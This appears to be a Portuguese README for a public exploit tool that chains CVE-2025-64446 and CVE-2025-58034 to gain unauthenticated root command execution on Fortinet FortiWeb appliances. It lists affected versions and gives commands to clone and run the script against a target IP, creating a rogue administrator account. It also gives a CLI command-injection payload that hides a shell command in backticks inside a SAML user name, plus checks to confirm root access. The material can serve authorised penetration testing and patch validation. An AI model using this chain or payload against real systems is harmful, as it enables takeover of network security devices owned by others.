Exploit de Execução Remota de Código (RCE) do FortiWeb via Cadeia CVE-2025-64446 + CVE-2025-58034

Descrição

Este script encadeia duas vulnerabilidades críticas no Fortinet FortiWeb para alcançar execução remota de código não autenticada com privilégios de root:

1. CVE-2025-64446 – Bypass de Autenticação via Path Traversal Relativo
   Permite que um atacante não autenticado contorne a autenticação e crie uma nova conta administrativa.

2. CVE-2025-58034 – Injeção de Comandos do SO Autenticada
   Um atacante autenticado (usando a conta criada na etapa 1) pode executar comandos arbitrários do SO como root por meio de requisições HTTP especialmente elaboradas.

Ao combinar essas duas vulnerabilidades, um atacante pode passar de acesso zero ao comprometimento total do sistema sem nenhuma credencial prévia.

Impacto Final: Execução Remota de Código Não Autenticada (equivalente a um shell root)

Detalhes das Vulnerabilidades

CVE-2025-64446 – Bypass de Autenticação (Path Traversal Relativo)

• Tipo: Path Traversal Relativo levando a Bypass de Autenticação
• Severidade: Crítica (Pontuação Base CVSS 3.1: 9.8)
• Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Versões Afetadas:
  • FortiWeb 8.0.0 – 8.0.1
  • FortiWeb 7.6.0 – 7.6.4
  • FortiWeb 7.4.0 – 7.4.9
  • FortiWeb 7.2.0 – 7.2.11
  • FortiWeb 7.0.0 – 7.0.11

CVE-2025-58034 – Injeção de Comandos do SO Autenticada

• CVE: CVE-2025-58034
• Tipo: Neutralização Incorreta de Elementos Especiais usados em um Comando do SO (Injeção de Comandos do SO) – [CWE-78]
• Severidade: Crítica
• Descrição:
  Um atacante autenticado pode executar comandos arbitrários do sistema operacional no sistema subjacente por meio de requisições HTTP ou comandos CLI especialmente elaborados.
• Versões Afetadas (expandidas por este CVE):
  • FortiWeb 8.0.0 – 8.0.1
  • FortiWeb 7.6.0 – 7.6.5 (nota: inclui 7.6.5)
  • FortiWeb 7.4.0 – 7.4.10 (nota: inclui 7.4.10)
  • FortiWeb 7.2.0 – 7.2.11
  • FortiWeb 7.0.0 – 7.0.11

Cadeia de Ataque Combinada:

1. Use CVE-2025-64446 → Criar conta de administrador (não autenticado)
2. Fazer login com a conta de administrador recém-criada
3. Use CVE-2025-58034 → Executar comandos arbitrários do SO como root

Uso

1. Clone o repositório:

   root@kitploit:~

   git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034
   cd CVE-2025-64446_CVE-2025-58034
   

2. Instale as dependências:

   root@kitploit:~

   pip install -r requirements.txt
   

3. Execute o exploit completo (cria admin + executa comando):

   root@kitploit:~

   python exploit.py <target_ip> [-u <username>] [-p <password>]
   

   • <target_ip>: O endereço IP ou nome de host do appliance FortiWeb vulnerável. Este é um argumento obrigatório.
   • -u <username> (opcional): Especifique um nome de usuário personalizado para a conta administrativa criada. Se não for fornecido, um UUID será usado.
   • -p <password> (opcional): Especifique uma senha personalizada para a conta administrativa criada. Se não for fornecida, o nome de usuário será usado como senha.

   Exemplo:

   root@kitploit:~

   python exploit.py 192.168.1.100 -u admin123 -p password456
   

   Isso tentará criar uma conta administrativa com o nome de usuário "admin123" e senha "password456" no appliance alvo em 192.168.1.100.

   Se nenhum nome de usuário e senha forem especificados:

   root@kitploit:~

   python exploit.py 192.168.1.100
   

Demonstração

Etapa 1: Bypass de Autenticação e Criação de Admin (CVE-2025-64446)

Etapa 2: Execução Remota de Código como root (CVE-2025-58034)

Após fazer login com sucesso usando a conta administrativa recém-criada, um atacante pode explorar a vulnerabilidade de injeção de comandos autenticada por meio de requisições especificamente elaboradas ou diretamente via CLI do FortiWeb.

Um método de exploração confiável é usar o seguinte comando CLI (executado a partir da interface de linha de comando do FortiWeb após a autenticação):

config user saml-user

edit "`<YOUR COMMAND>`"

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

Verificação

Após a execução:

• Verifique a saída para resultados de comandos (por exemplo, uid=0(root) gid=0(root) confirma RCE como root)
• Faça login via SSH (se você adicionou uma chave) ou interface web com as credenciais criadas

Referências

• CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
• CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034
• Advisories PSIRT da Fortinet: https://www.fortinet.com/support/psirt
• Análise: https://attackerkb.com/topics/zClpINmLCh/cve-2025-58034/rapid7-analysis

Aviso Legal: Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não possui permissão explícita para testar é ilegal.